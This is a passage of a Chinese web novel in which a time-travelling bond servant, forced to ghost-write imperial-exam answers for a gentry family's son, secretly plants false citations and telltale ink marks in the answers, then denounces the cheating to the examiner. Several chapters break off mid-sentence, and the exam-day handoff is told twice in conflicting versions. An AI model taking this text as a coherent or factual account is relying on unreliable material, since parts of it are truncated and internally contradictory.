苏惟瑾看着手里那几枚可能还是周大山从牙缝里省下来的铜钱,
心头不禁一暖。
这憨子,自己过得也不宽裕,
却总想着接济他。
“多谢山哥。”
他没有推辞,这份情谊,他记下了。
周大山见他收了,咧开嘴笑了,
但随即笑容一收,
脸色变得严肃起来,
凑得更近,声音压得极低,
几乎成了气音:
“还有件事,
俺偷摸听俺爹昨晚喝酒时跟人说的,
你千万记住了,别往外传!”
苏惟瑾神色一凛,凝神细听。
“俺爹说,这次府试,
省里好像派了学政大人下来巡查!
专门抓作弊的!
查得特别严!”
周大山眼神里带着后怕,
好似亲眼见过那场面。
“听说带了啥……
啥‘誊录’‘糊名’的高手,
还有军伍里的人守着!
一旦被抓到,
可不是打板子那么简单,
要革除功名,下大狱的!”
学政巡查?严查作弊?
苏惟瑾的心脏猛地一跳!
这消息太重要了!
他原本的计划,
是利用替考文章本身的“超常”来引起怀疑和调查,
从而引爆张家。
但这其中有个风险
——万一府试层面的核查不够严密,
或者被张承宗用钱权暂时摆平,
那张诚就可能真的蒙混过关,
而他后续的操作就会麻烦许多。
但现在不同了!
省学政亲自巡查,严抓作弊!
这意味著考场纪律会空前严格,
任何一点可疑之处都会被放大调查!
这简直是天赐良机!
他的计划成功率将大大提升,
甚至可能引发更猛烈、
更迅速的反噬!
“山哥,这消息……可靠吗?”
苏惟瑾强压激动,低声确认。
“俺爹亲口说的!
他跟衙门里刑房的老书吏喝酒时听来的,指定错不了!”
周大山拍着胸脯保证,又紧张地叮嘱。
“你可千万小心!
张家要是让你干啥……作弊的事,
你……你机灵点,
别傻乎乎往前冲!”
这憨直的汉子,
用他最朴素的方式,
第39章 府城见闻,初遇徐明轩
骡车吱吱呀呀,沿着官道行了三日,
终于望见了淮安府巍峨的城墙轮廓。
越接近城门,官道越发拥挤,
各式车马行人络绎不绝:
挑着担子吆喝的货郎、
推着独轮车快步前行的农夫、
骑着毛驴摇头晃脑吟诗的士子、
装饰华贵帘幕低垂的马车……
人声、蹄声、车轮声,
交织成一道奔腾不息的洪流,
朝着江北这座繁华重镇汹涌而去。
与沭阳县那种安逸小城的恬淡风貌截然不同,
淮安府作为运河沿线的重要枢纽,
才一靠近,便觉一股蒸腾热烈的气息扑面而来。
离城门尚有数里,
喧嚣声便如潮水般阵阵涌至。
车马粼粼,人语嘈嘈,各处方言的叫卖声此起彼伏。
空气中弥漫着复杂而浓烈的气味
——新翻的泥土、人体的汗味、
刚出笼的包点香气、
运河飘来的水汽和鱼腥,
甚至还隐约飘过一丝胭脂水粉的甜香。
城墙高大斑驳,布满岁月与战火留下的痕迹,
却更显巍峨雄浑。
城门口守着的兵丁披坚执锐,
远较沭阳森严,他们目光如电,
扫视着每一个进城的人。
张诚早已按捺不住,
从车窗探出大半个身子,
又是惊叹又是紧张地四处张望,
嘴里不停地嚷:
“好家伙!这才是府城气象!
比咱们沭阳不知热闹多少!”
张承宗虽仍端坐车中,
勉强维持乡绅体统,
可眼中不时闪过道道精光,
分明是在惊叹中杂着盘算。
唯有苏惟瑾,安静地坐在车辕上,
看似平静,心中却波澜起伏。
作为一名穿越者,他虽然早有心理准备,
但真正置身于这座古代大城的入口,仍被眼前的景象深深震撼。
他的超频大脑如一台全息记录仪般飞速运转:
街道的布局格式、人潮的流向规律、商铺的类别分布,
甚至连不同片区兵丁的巡逻路线和间隔,
都一一刻入记忆。
更不用说那些琳琅满目的市井画面
——路边摊贩锅中的热气蒸腾、
绸缎庄前伙计的殷勤招揽、
酒楼二层凭窗饮酒的客人、
匆匆走过的挑夫口中哼着的小调……
这一切,不再是书本上的文字,
而是真实可触、活色生香的古代生活。
“都给我打起精神!
别一副没见过世面的样子,
丢张家的脸!”
张福一边扯着嗓子训斥下人,
一边自己也忍不住伸长脖子四下张望。
车队随着人潮缓慢前行,
缴完入城税,终于真正进入了淮安府城。
城内更是另一重天地。
青石板铺就的大道宽阔平整,
可容三四辆马车并行。
两旁店肆林立,招牌旌旗迎风招展,
绸缎庄、银楼、酒肆、茶坊、书铺、客栈……
应有尽有,繁华程度远超想象。
运河码头上舳舻千里,
搬运工的号子声、商贾的议价声、
船夫的吆喝声汇成一片,
空气里荡漾着淮扬菜系的香甜气息,
令人食指大动。
张诚看得目不暇接,
恨不得立刻跳下车去逛个痛快,
却被张承宗厉声喝止。
他们此行是为府试,
首要之事是安顿下来、温习功课。
张家早已托人在离府学宫不远的“贡院街”上订下一家“悦来客栈”。
店名虽俗,位置却极佳,
住的几乎全是来应考的学子及家眷仆役。
客栈门面不甚起眼,
内里却别有洞天,
是典型的江南庭院式建筑,
闹中取静。
张诚刚下车就又开始摆少爷架子,
指挥苏惟瑾和仆人搬运行李。
张承宗则上前与迎出来的掌柜寒暄,
言语间不经意流露出几分乡绅的优越感。
正忙乱间,客栈门外又传来一阵车马声。
一辆典雅而不失贵气的马车停稳,
车辕上坐着两名精悍随从,
目光如电,一看便知是练家子。
先跳下的是一名青衣小帽、
动作利落的书童,熟练地放下脚踏。
随后,一位年轻公子躬身走出车厢,
立于客栈门前。
他的出现,仿佛霎时压下了周围的喧嚣。
公子年约十六七岁,
面容清俊,鼻梁高挺,唇薄色淡,
一双凤眸光采逼人,
带着几分不易接近的清冷。
身着月白杭绸直裰,
暗云纹若隐若现,腰间系同色丝绦,
悬一枚质地上乘的白玉佩,
除此之外并无多余饰物,
却通身透着难以忽略的贵气。
他的书童默不作声地开始搬运行李,
动作井然有序,
与张家这边的忙乱形成鲜明对比。
张诚眼睛发直,
他虽然纨绔,却也有几分识人的眼力,
立即看出这位公子非富即贵。
他忙整了整衣冠,
挤出潇洒的笑容凑上前拱手搭话:
“这位兄台请了!
在下沭阳张诚,也是来应府试的。
不知兄台高姓大名?仙乡何处?”
那月白公子闻声,
淡淡瞥了张诚一眼。
目光平静无波,无喜无厌,
如同望见路边草木,只微一颔首,
吐出三字:
“徐明轩。”
声线清越,自带疏离。
说罢便不再理会,转向掌柜,
语气平淡却不容置疑:
“甲字三号院,已订好的。”
掌柜显然识得他来头,
态度顿时恭谨无比,
几乎带上了谄媚:
“是是是!徐公子您里边请!
院子早已打理妥当,一应物品俱已备齐!”
张诚被晾在原地,
伸出的手僵在半空,
笑容也凝固在脸上,
一时尴尬无比。
在沭阳谁敢这样怠慢他?
第40章 考场侦查,布局进行时
悦来客栈安顿下来后,
张家父子便如同上了发条的陀螺,
开始最后的“冲刺”。
张承宗带着厚礼,忙着四处拜码头,
打探府试考官偏好,
试图用银钱铺就一条康庄大道。
张诚则被关在客房里,
对着苏惟瑾“精心”准备好的、
那些他根本看不懂的经义策问范文,
抓耳挠腮,死记硬背,痛苦万分。
苏惟瑾这个“枪手”,
反倒成了最“清闲”的人。
张福管家盯他盯得紧,
但主要防他偷懒或外出生事,
对于他“替少爷熟悉考场环境”的请求,
张承宗略一思索便同意了
——毕竟这书童看着靠谱,
让他先去摸摸路,
总好过让自家那个草包儿子临场抓瞎。
于是,苏惟瑾获得了一张临时“通行证”。
府试考场设在淮安府学宫旁的专用贡院。
这贡院规模宏大,气象森严。
青砖高墙耸立,足有两丈余高,
上面还拉着防止攀爬的铁蒺藜。
东西两侧各有辕门,此时紧闭,
唯有南面正门敞开,
有身穿号衣的衙役兵丁值守,
检查着偶尔进出的人员车辆,
气氛已然透出几分紧张。
苏惟瑾没有靠近正门,那太显眼。
他像一抹不起眼的影子,
绕着贡院高大的外墙,
不疾不徐地走着。
超频大脑全开,幻化一个高效的全息扫描仪,
将目之所及的一切信息疯狂录入、处理、分析。
围墙的高度、材质、可能的薄弱点(基本没有)。
周边街道布局,
尤其是那些易于观察却又不易被察觉的制高点(比如斜对面一家茶楼的二楼窗口)。
兵丁巡逻的路线、频率、交接班时可能出现的空档(极其规律,几乎无缝衔接)。
排水沟渠的走向、宽度(窄得钻不进老鼠)。
甚至风向、日照角度(考试那日应是晴天,便于巡查人员观察)。
他走得慢,看得细,偶尔停下系鞋带,
或者假装被路边小摊吸引,
目光却从未离开贡院及其周边环境。
结合周大山提供的“学政巡查,
严查作弊”的信息,
他敏锐地发现,此地的守卫力量远超常规。
除了明面上的府衙差役,
暗处似乎还有几道更加精悍的身影,
目光如电,扫视着每一个过于靠近贡院的可疑人物。
巡逻的班次密集,
带队的小头目眼神锐利,
检查进出凭证时一丝不苟。
空气中弥漫着一种无形的压力。
“果然戒备森严……”
苏惟瑾心下凛然,同时也更加兴奋。
越严越好!
越严,张承宗那套花钱打点的操作才越容易失灵!
越严,他那份“超常”答卷引发的怀疑才会被无限放大!
绕完一圈,他心里已经有了底。
硬闯?不可能。
偷偷传递?
成功率极低,风险极大。
唯一稳妥的方式,
就是在考试过程内部引爆!
他的计划需要调整,更加精密,
更加依托于考场内的规则本身。
第二天,他以“替少爷购买最新时文集”为由,
再次出门,直奔贡院街附近最大的书坊“翰墨林”。
这里简直是应考士子的信息交流中心。
无数穿着各色襕衫的学子挤在书架前,
或低声讨论,或争抢着新到的范文集子。
苏惟瑾挤在人群中,
耳朵如同最灵敏的雷达,
捕捉着一切有用的信息碎片。
“……听说了吗?
今年巡考的是提学御史周大人!
铁面无私!”
“何止!听说还从省城调了专门的誊录官和対读官,
糊名誊录,严格无比!”
“搜身也加严了,
据说连饼饵都要掰开检查……”
“唉,难啊……”
“怕什么?真才实学不怕考!”
……各种信息汇入苏惟瑾的大脑,
与他之前的观察相互印证。
学政(提学御史)周大人,铁面无私。
誊录、糊名制度严格执行。
搜身极其严格。
这些都在不断抬高作弊的成本和风险。
他一边听着,一边快速翻阅着几本热销的时文集,
超频记忆能力发动,
瞬间将其中几篇公认的“优秀”范文记下。
不是要抄袭,而是要了解这个时代考官的大致审美和评分标准,
以便更好地……在他的“杰作”里埋雷。
结账时,他故意用带着浓重沭阳口音的官话,
怯生生地向掌柜打听:
“掌、掌柜的,
请问……要是考试时,
发现有人作弊,
该……该向哪位大人报告?”
那掌柜见是个小书童,
也没在意,随口道:
“那可不能乱报告!
扰乱考场是大罪!
真有情况,得等放牌(交卷出场)时,
悄悄告知巡场御史或者监临官身边的差役。
不过小子,可别瞎掺和,小心惹祸上身!”
“哦哦,谢谢掌柜。”
苏惟瑾做出害怕的样子,
抱着新买的书走了。
心中却豁然开朗。
放牌时……
告知巡场御史或监临官身边的差役……
这是一个关键的时间节点和操作方式!
回到客栈房间(他与另一个张家仆役同住一小间),
他摒除杂念,开始最后完善计划。
大脑如同超级计算机,
进行着复杂的模拟推演:
场景一:张诚顺利带入小抄或他提前写好的文章?
——概率极低。
搜身如此之严,
张诚那草包心理素质又差,
大概率藏不住。
此路不通。
场景二:考试中途,张诚设法与他传递纸条?
——概率为零。
考场座位随机分配,隔开极远,
且有兵丁来回巡视,根本不可能。
场景三:他替张诚写的文章过于优秀,引起怀疑,学政大人亲自核查?
——概率很高!
这是他计划的核心!
但需要加码,
需要让这种“优秀”达到惊世骇俗、
同时又与张诚本人水平形成荒谬反差的程度!
第41章 府试开场,风雨欲来风满楼
五月初十,淮安府试正日。
天还未亮透,贡院街已是人声鼎沸,灯火通明。
数以千计的考生、仆役、
送考亲属以及维持秩序的兵丁衙役,
将偌大的街道挤得水泄不通。
空气中弥漫着紧张、
期待、焦虑混合的复杂气息,
压过了清晨的寒意。
贡院高墙森严,
黑压压地矗立在黎明前的灰暗之中,
墙头插着的旗帜在微风中猎猎作响,
旗上“肃静”“回避”的字样隐约可见。
大门两侧立着两排手持长戟、
腰佩钢刀的兵丁,目光如炬,
神色冷峻,注视着下方涌动的人群。
门前一道朱漆木栅栏隔出通道,
所有考生须经此验身方可入场。
张家一行人早早到了贡院门外。
张诚穿着一身崭新得有些扎眼的绸缎襕衫,
手里紧紧攥着一个考篮,指节因用力而发白。
他脸色苍白,眼底下挂着两圈浓重的乌青,
显然是昨夜“临阵磨枪”没磨好,
反而把自己熬得心神不宁。
他不停地踮脚张望,
又时不时拽过苏惟瑾,
压低声音做最后的“叮嘱”:
“小九,记住了!
经义第三题若是考《礼记·王制》,
就……就挠三下耳朵!
若是考《孟子·梁惠王》,
就……就咳嗽两声!”
“策问题若是问漕运,就在草稿纸左上角画个圈!
若是问刑狱,就画个三角!”
“诗赋的韵脚若是……”
他喋喋不休,
试图将昨晚强行塞进脑子的那点“作弊信号”再巩固一遍,
声音发颤,额角甚至渗出了细密的冷汗。
苏惟瑾垂手听着,
脸上依旧是那副恭顺可靠的模样,
心中却冷笑不已。
就这心理素质,还想学人作弊?
进了考场,怕是连自己姓什么都忘了。
他嘴上却应道:
“少爷放心,小的都记下了。
您定能高中。”
张承宗也是一脸凝重,
最后检查了一遍儿子的考篮
——里面笔墨纸砚俱全,
还有张福“精心”准备的、掰成小块便于隐藏的干粮
(搜身时已被兵丁捏碎检查过),
并无任何夹带。
他拍了拍儿子的肩膀,
想说什么鼓励的话,
最终只干巴巴挤出一句:
“稳住心神,按计划行事。”
眼神却不由自主地瞟向苏惟瑾,
带着深深的嘱托和一丝不易察觉的威胁。
苏惟瑾微微颔首,示意一切尽在掌握。
他的考篮看起来普通,里面却别有乾坤。
除了常规文具,
还有一小瓶特制的“墨水”
(利用厨房材料简单调配,色淡干得快,适合快速书写),
以及一叠质地稍差、
却足够书写大量文字的草稿纸。
他已准备好两份截然不同的答卷:
一份,是为张诚准备的“夺魁之作”,
花团锦簇,观点“新颖”,
却埋藏着数个精心设计的、
足以引发学界争议和深度调查的“炸弹”。
另一份,则是为他自己准备的、
真正凝聚了他超越时代学识与思考的“草稿”,
深藏于考篮夹层,一旦时机出现,
便可作为雷霆后手,惊艳全场!
---
就在入场前一刻,
一名穿着灰布衙役服、
腰间系着一条不甚起眼黄带子的中年男子缓步踱近张家一行人身边,
佯装维持秩序,低声对张承宗说了一句:
“辰时三刻,东角门递水处。”
张承宗面色不变,
袖中手指微微一屈,
一枚银锞子已滑入对方掌心。
那衙役神色如常地走开,一切如常好似什么也没发生。
——那是张家早已打点好的“线人”,
负责将考题从内帘传出,
再由苏惟瑾现场破题、起草文章,
通过特定方式送入场内。
---
“哐——!”
一声沉闷的锣响穿透喧嚣。
贡院大门缓缓洞开。
“考生排队!验明正身!准备入场!”
衙役们高声吆喝着,声音冰冷而不带感情。
人群立刻骚动起来,
如同开闸的洪水,
朝着那扇决定无数人命运的大门涌去。
张诚被裹在人群中,脸色更白了,
几乎是下意识地回头看了苏惟瑾一眼,
眼神里充满了慌乱和依赖。
苏惟瑾给了他一个“鼓励”的眼神。
队伍缓慢前行,接受着极其严格的检查。
搜身之仔细,近乎苛刻。
发髻要解开,鞋子要脱掉,
衣服夹层要细细捏过,饼饵掰碎,水囊倒空检查。
不时有试图夹带小抄的考生被当场揪出,
拖到一边登记姓名籍贯,
革除考试资格,引来一片唏嘘和更加紧张的氛围。
张诚吓得腿肚子直哆嗦,全靠身后家丁暗中架着才没软下去。
苏惟瑾则异常冷静,他甚至能分心观察四周。
他的超频视觉捕捉到,
在负责搜身的普通衙役身后,
站着几位穿着青色官袍、气质明显不同的官员。
他们目光如电,面无表情地扫视着每一个考生,
化身经验丰富的猎手,等待着猎物自己露出马脚。
这就是学政衙门下来巡查的官员!
气氛果然空前紧张!
---
辰时三刻,东角门。
这里是专门递送饮水、食物之处,亦有衙役看守,但戒备稍松。
苏惟瑾早已候在一旁,
见那系黄带子的衙役端着一摞空水碗走过,
其中一只碗底隐约粘着一折小纸条。
他佯装上前帮忙收拾,指尖一拈,纸条已落入袖中。
转身避入人群背后,展开一看,
正是今日首场《四书》题、经义题与策问题!
苏惟瑾目光一扫,
超频大脑急速运转,
几乎瞬间便已完成审题、破题、立意、构篇。
他取出随身携带的纸笔,
借考篮遮掩,以特制墨水飞快书写,
字迹细如蝇脚,却清晰工整,
不过片刻,三篇文章已然草就。
他将写好的文章卷成极细的纸卷,
塞入一根预先准备好的中空竹制笔管之中,
再将笔管混入张诚考篮中那几支备用毛笔之中
第42章 故技重施?不,请君入瓮!
贡院高墙之外,
苏惟瑾如同石雕般静立,
超频大脑却以前所未有的速度运转着。
他模拟着考场内的时间流逝,
推演着张诚可能的行为模式。
果然,约莫开考半个时辰后,
贡院那扇厚重的侧门“吱呀”一声,
打开一道小缝。
一个穿着衙役号服、眼神闪烁的汉子探出头,
目光在拥挤的送考人群里扫视,
最后精准地锁定了张家马车的位置。
张福管家立刻像闻到腥味的猫一样蹿了过去,
两人迅速靠近,低声交谈几句。
那衙役飞快地塞给张福一张揉得发皱的小纸条。
张福则顺势将一锭沉甸甸的银子滑入对方袖中。
交易完成,迅捷而隐蔽。
张福捏着那张仿佛烫手的纸条,
心脏砰砰狂跳,做贼似的四下张望,
然后快步冲到苏惟瑾面前,
声音因紧张而尖利:
“快!少爷把题目传出来了!
赶紧做!做好了照老法子递进去!快啊!”
他几乎是将纸条塞进了苏惟瑾怀里,
然后用自己的肥胖身躯挡住外界视线,
额头冷汗直冒。
苏惟瑾面色“凝重”地接过纸条,
展开快速扫了一眼。
果然是府试正题。
经义三道,分别出自《尚书》、《春秋》、《礼记》。
策问一道,关于漕运利弊与改革。
诗赋一道,以“秋日怀古”为题。
题目中规中矩,却正好撞在他枪口上!
“福管家,此处人多眼杂……”
苏惟瑾做出为难的样子。
“去车里!快去车里写!”
张福立刻反应过来,
连推带搡地把苏惟瑾弄回马车车厢,
自己则像个门神一样堵在车门口,
一双三角眼警惕地扫视着每一个靠近的人,
仿佛全世界都是来抢答案的。
车厢内光线昏暗,空间狭小。
苏惟瑾却不慌不忙,取出考篮,
铺开草稿纸,磨墨润笔。
超频大脑全开!
后世无数考据学成果、
学术争论、新颖观点如同浩瀚星河在他意识中流淌、碰撞、重组!
他嘴角勾起一丝冰冷的笑意。
张诚,张家,
你们不是想要“高分答案”吗?
好!我就给你们一份足以“名留青史”的答案!
他笔走龙蛇,下笔如有神助。
经义题,他写得花团锦簇,
基础扎实,
却在最关键的一道《春秋》释经题上,
埋下了一颗精心设计的炸弹!
他引用了一条极为冷僻、
甚至存在巨大争议的汉代纬书注解,
来佐证一个看似新颖的观点。
这条注解在后世已被考古发现证实为伪作,
但在当下,却只有极少数顶尖学者才知晓其疑点!
他甚至“贴心”地将这条注解的出处写得模糊不清,
仿佛张诚是从某本“家传孤本”中看来,
更能增加其“真实性”和“独特性”!
策问题,他更是大刀阔斧。
先是高度赞扬本朝漕运之伟绩,
然后笔锋一转,
指出三大弊端、五大隐患,
引经据典,数据详实(半真半假,难以即刻证伪),
最后提出一套看似完美、
实则隐含着一个致命逻辑陷阱的“改革十策”。
这套策略融合了现代经济学和管理学的皮毛,
用古代语言包装起来,
听起来无比高明,振奋人心,
但若仔细推敲其执行细节和后续影响,
就会发现其中一环扣一环,
最终会导向一个灾难性的后果
——足以让提出者身败名裂!
诗赋,他更是精心炮制了一首辞藻华丽、意境“高远”的七律。
暗中化用了若干后世名句的精华,
却故意在押韵和平仄上,
留下两处极其细微、
看似笔误实则可作为“铁证”的破绽!
整篇文章,堪称一件精心设计的艺术品
——一件足以炸死人的艺术品!
书写过程中,
他更是动用了一切手段设置物理陷阱。
纸张,他选用了与张诚带进去的、
张家特制稿纸质地略有差异的一种(他提前通过张福搜集到样本进行了比对)。
墨汁,他加入了那特制的“墨水”,
使其干涸后的色泽和光泽度,
与张诚所用之墨有肉眼难辨的细微差别。
在文章不起眼的角落,
他甚至用极细的笔尖,
蘸取微量特殊墨汁,
留下了几个看似无意洒落的墨点,
实则构成了一个极简单的暗记
——这个暗记,
与张诚那块被视为“吉祥物”的玉佩上的纹路,
有着惊人的相似!
所有这些布置,
单一来看都微不足道,极易被忽略。
但若组合在一起,
落在有心人(比如那位铁面学政)眼里,
就是一堆燃烧的疑点!
最后,他并没有在文章末尾模仿张诚的笔迹署名。
而是留下了一处明显的、
等待誊抄的空白。
做完这一切,
时间才过去不到一个时辰。
张福在外面早已等得心急如焚,
不停撩开车帘催促:
“好了没?我的小祖宗!快点啊!”
苏惟瑾深吸一口气,
将这份墨迹未干的“夺命文章”小心吹干,折叠起来。
他脸上再次堆起那种恭顺中带着一丝“完成任务”的疲惫,
将纸条递出车外:
“福管家,好了。”
张福一把抢过,如获至宝,
看也不看就要去找那个衙役。
“福管家,”
苏惟瑾忽然叫住他,
脸上露出一丝恰到好处的“担忧”,
“这次巡查太严了,刚才那法子……
还能行吗?万一被抓住……”
张福此刻满脑子都是少爷高中后老爷的赏赐,
哪里听得进这话,
不耐烦地摆摆手:
“呸呸呸!乌鸦嘴!
老子们打点好的路子,万无一失!
你少操心!”
说完,他揣着那份足以将张家炸上天的大杀器,
像捧着绝世珍宝般,
鬼鬼祟祟地再次摸向那个衙役。
苏惟瑾看着他的背影,
缓缓坐回车厢阴影里,
第43章 惊天逆转,主动举报!
时间在压抑的寂静中缓慢流淌。
贡院外,张福如同热锅上的蚂蚁,
在原地不停踱步,
伸长了脖子望着那扇紧闭的侧门,
期待着事成的信号。
马车内,苏惟瑾闭目养神,
超频大脑却在精确计时,
推算着那张“夺命答案”是否已安全送达张诚手中,
并被他“欣喜若狂”地开始誊抄。
约莫又过了半个时辰。
就在张福几乎要将地面磨出坑时,
那扇侧门再次悄无声息地打开了一条缝。
这次出来的却不是那个收钱的衙役,
而是一个面孔生冷、穿着学政随从服饰的精悍男子。
他锐利的目光如刀锋般扫过人群,
最终定格在张家马车和焦躁的张福身上。
张福心里咯噔一下,
一股不祥的预感瞬间攫住他,
下意识地想往后缩。
但那随从已经大步流星地走了过来,
声音不大,却带着不容置疑的威严:
“沭阳张家的?
刚才是你递了东西进去?”
张福脸色唰地变得惨白,
冷汗瞬间湿透后背,
嘴唇哆嗦着:
“没……没有……
官爷您是不是认错……”
“哼!”
那随从根本不听他辩解,冷哼一声,一摆手。
身后立刻冲出两名如狼似虎的兵丁,
一左一右架住张福,
毫不客气地开始搜身!
“哎呦!官爷!冤枉啊!
我是良民……”
张福杀猪般叫嚷起来,徒劳地挣扎。
周围的送考人群顿时一阵骚动,
纷纷退开,又忍不住伸长脖子看热闹,议论纷纷。
“肃静!”
兵丁厉声呵斥。
马车帘子被猛地掀开,
苏惟瑾“惊慌失措”地探出头:
“福管家?发生什么事了?”
那学政随从冰冷的目光立刻转向他:
“你也是张家人?”
苏惟瑾像是被吓到了,
手足无措地点点头,
又摇摇头:
“小……小人是张家的书童……”
就在这时,
贡院内突然传来一阵明显的骚动!
隐约能听到厉声的呵斥、
物品打翻的声音,
以及一个带着哭腔的、
杀猪般的尖叫声(辨识度极高,正是张诚):
“不是我!真的不是我!
是别人给我的!!”
时机到了!苏惟瑾眼中精光一闪,
不再犹豫!
他猛地跳下马车,
脸上之前的惊慌瞬间被一种决绝的悲愤取代,
高举右手,用尽全身力气,
朝着贡院大门方向,
声音清越而坚定,
甚至带上了一丝刻意控制的、
被压迫已久的颤抖,大声喊道:
“学生苏惟瑾!有惊天舞弊要举报!
求青天大老爷为学生做主!
为科举清明做主!!”
这一嗓子,如同平地惊雷,
瞬间炸翻了贡院门外原本就紧张的气氛!
所有目光,刷地一下,
全部聚焦在这个突然发难、
气质却与身份截然不符的青衣书童身上!
就连那个正在搜张福身的学政随从,
也猛地转过头,震惊地看着他。
“哗——!”
人群彻底炸开了锅!
“谁?他要举报什么?”
“舞弊?惊天舞弊?”
“一个书童举报?”
“苏惟瑾?这名字有点耳熟……”
张福吓得魂飞魄散,
也顾不得被兵丁架着了,
嘶声尖叫:
“小畜生!你胡说什么!快闭嘴!
官爷,他疯了!他得了失心疯!”
然而,已经晚了。
贡院大门再次打开。
那位面色冷峻、
不怒自威的提学御史周大人,
在一众官员和随从的簇拥下,
大步走了出来。
他显然刚刚处理完考场内的突发状况,
脸色铁青,此刻听到门外又起波澜,
目光如冰锥般刺向苏惟瑾:
“你是何人?
方才所言,可是真的?
若有半句虚言,可知后果?”
强大的官威扑面而来,
足以让寻常百姓腿软跪地。
苏惟瑾却深吸一口气,
强迫自己站得笔直,
目光毫不避让地迎上那位学政大人,
逻辑清晰,语速平稳却带着悲怆,
开始了他的表演(融合了现代辩论技巧与精心设计的叙事):
“回禀大人!
学生苏惟瑾,本乃沭阳军户苏家子弟,
自幼读书,立志科举!”
他先确立自己“读书人”的身份,
而非单纯贱役。
“然父母早亡,家道中落,
被本家叔伯勾结沭阳乡绅张承宗,
以债务相逼,强夺田产,强签奴契!
使学生沦为其子张诚书童,
百般折辱!”
简要说明悲惨遭遇,
树立受害者形象,点名敌人。
“学生忍辱负重,
只盼有朝一日能重获自由,
奔赴考场!
然,那张承宗与其子张诚,
狼子野心!
自知才学浅薄,难登科甲,
竟威逼利诱,
强迫学生此次府试为其替考作弊!”
抛出核心指控——被迫作弊!
“学生不从,他们便以性命相胁,更
言若敢泄露,
便让我苏家永世不得超生!
学生无奈,只得虚与委蛇……”
说明被迫动机,
解释之前为何隐忍。
“然,科举乃国家抡才大典,
神圣不容玷污!
第44章 尘埃落定,童生功名易主!
贡院门外,空气仿佛凝固了。
所有的喧嚣、议论都被一种无形的压力镇压下去,
只剩下粗重的呼吸声和兵甲偶尔碰撞的轻响。
所有人的目光都聚焦在提学御史周大人那张喜怒难辨的冷脸上,
等待着他最终的裁决。
很快,贡院内的核查结果便呈报上来。
一名书吏快步走出,
手中捧着几张纸,脸色肃穆,高声禀报:
“禀大人!已查实!
玄字柒拾叁号舍考生张诚,
号舍内搜出与门外查获纸条内容高度吻合之文章一篇,
笔迹虽刻意模仿,
然起收笔锋与门外苏惟瑾所呈草稿高度相似!”
“其考篮夹层中,
藏有与门外搜出剩余稿纸质地完全一致之空白纸张数张!”
“其所用墨料,经比对,
亦与门外稿纸墨迹成分相符!”
“另,其随身携带玉佩一枚,其上纹路,
与苏惟瑾所呈草稿上之特殊墨点暗记,形态吻合!”
“人证(张福传递)、物证(纸条、纸张、墨料、暗记)俱全!
考生张诚对作弊之事供认不讳(虽然他一直哭嚎是别人逼他的)!”
每报出一条,
张福的脸色就灰败一分,
到最后几乎瘫成一滩烂泥,
眼神涣散,嘴里只会无意识地念叨:
“完了……全完了……”
周大人的脸色已经阴沉得能滴出水来。
科举舞弊,乃朝廷大忌,
在他巡查的考场上发生如此恶劣之事,
简直是打他的脸!
他冰冷的目光扫过面如死灰的张福,
最终落在被兵丁看管、
却依旧站得笔直的苏惟瑾身上。
“苏惟瑾,”
周大人开口,声音里听不出情绪。
“你举报有功,所言基本属实。
然,你身为奴籍,替考作伪,亦是有罪。
你还有何话说?”
这是最后的审问,也是最后的机会。
全场目光再次聚焦于苏惟瑾。
只见他深吸一口气,
推开身旁兵丁的搀扶(实则并未用力抓他),
上前一步,
再次对着周大人深深一揖。
这一次,他脸上不再是表演式的悲愤,
而是一种沉淀下来的、
混合着屈辱、不甘、渴望与无比坚定的复杂神情。
“大人明鉴!”
他的声音清晰,
带着一丝压抑的颤抖,
却异常坚定。
“学生深知,替考作伪,于法难容!
学生甘愿受罚!”
先认罪,态度端正。
“然,学生此举,实乃被逼无奈,
刀架颈项,只为苟全性命!
学生父母早亡,家产被夺,身陷奴籍,呼告无门!
若不从,即刻便有性命之忧,
何谈科举正道?”
再诉冤屈,博取同情。
“但!”
他猛地抬起头,目光灼灼,
如同暗夜中的星辰,
声音陡然提高,
带着读书人的铮铮傲骨。
“学生虽身陷囹圄,
从未有一日敢忘圣贤教诲!
从未有一刻熄灭科举之志!”
“学生于破屋残垣之下,
偷光凿壁,苦读不辍!
于伺候人之余,手不释卷,揣摩文章!
只盼苍天开眼,能有一线生机,
重归正道,以清白之身,报效朝廷!”
言辞恳切,意志坚定,
将一个受尽磨难却不改其志的读书人形象塑造得淋漓尽致。
周围不少寒门出身的士子和家眷已然动容,
甚至有人偷偷抹泪。
周大人的眼神也微微波动了一下。
苏惟瑾抓住时机,
做出了最后一个,
也是最大胆的举动!
他双手捧起那份一直紧紧攥在手中的、
为自己准备的“草稿”,
高高举起:
“大人!学生深知空口无凭!
此乃学生方才于马车内,
听闻考题后,心有所感,
为自己所写的草稿!
虽仓促而成,字迹潦草,
却句句发自肺腑,
篇篇凝聚学生十年寒窗之苦功!”
“学生不敢祈求大人宽宥罪过,
只求大人看在学生一片向学之心,
看在学生举报舞弊、
维护考场清明的微末之功,
阅此拙文!”
“若此文尚能入大人法眼,
学生死而无憾!
若此文粗鄙不堪,
学生愿领一切罪责,绝无怨言!”
他将自己最后的命运,
押在了这份超越时代的“草稿”上!
赌这位提学御史,尚有惜才之心!
周大人深深地看了他一眼,
良久,对身旁的书吏微微颔首。
书吏立刻上前,
恭敬地接过那叠墨迹已干的草稿,
呈送到周大人面前。
周大人展开稿纸,
目光只是随意扫过,
带着审阅和挑剔。
但很快,他的目光凝固了!
眉头微微蹙起,随即又猛地挑起!
他的阅读速度明显慢了下来,
手指无意识地在纸面上轻轻敲击,
眼神越来越亮,充满了惊讶、难以置信,
以及一种发现瑰宝般的狂喜!
“这经义注解……角度刁钻,
却直指核心,甚至引用了……
不对,此说早已失传,他是从何得知?
竟还能自圆其说?!”
“这策问……漕运之弊,
剖析竟如此深刻!
这‘海运补充,官督商办’之议……
大胆!却似乎……大有可为?!”
“这诗赋……‘长河落日圆,秋风铁马嘶’……好大气象!
好雄浑的笔力!
这竟是一个书童能写出来的?!”
周大人越是细看,
心中越是惊涛骇浪!
这篇文章,岂止是“尚能入眼”?
简直是惊艳绝伦!
远超此次府试他所见过的任何一篇文章!
观点之新颖,论证之严密,
文采之斐然,
第45章 因祸得福,考场即舞台
贡院那扇厚重的朱漆大门在苏惟瑾身后缓缓合拢,
发出一声沉闷的巨响,
似若将门外所有的喧嚣、质疑、震惊与算计都隔绝开来。
门内是另一番景象。
青石板铺就的甬道笔直通向至公堂,
两侧是一排排低矮的号舍,
如同蜂巢般密集。
空气中弥漫着陈旧木材、
墨锭、浆糊以及一丝若有若无的霉味,
这是独属于科举考场的特殊气息,
庄严、肃穆,又带着几分压抑。
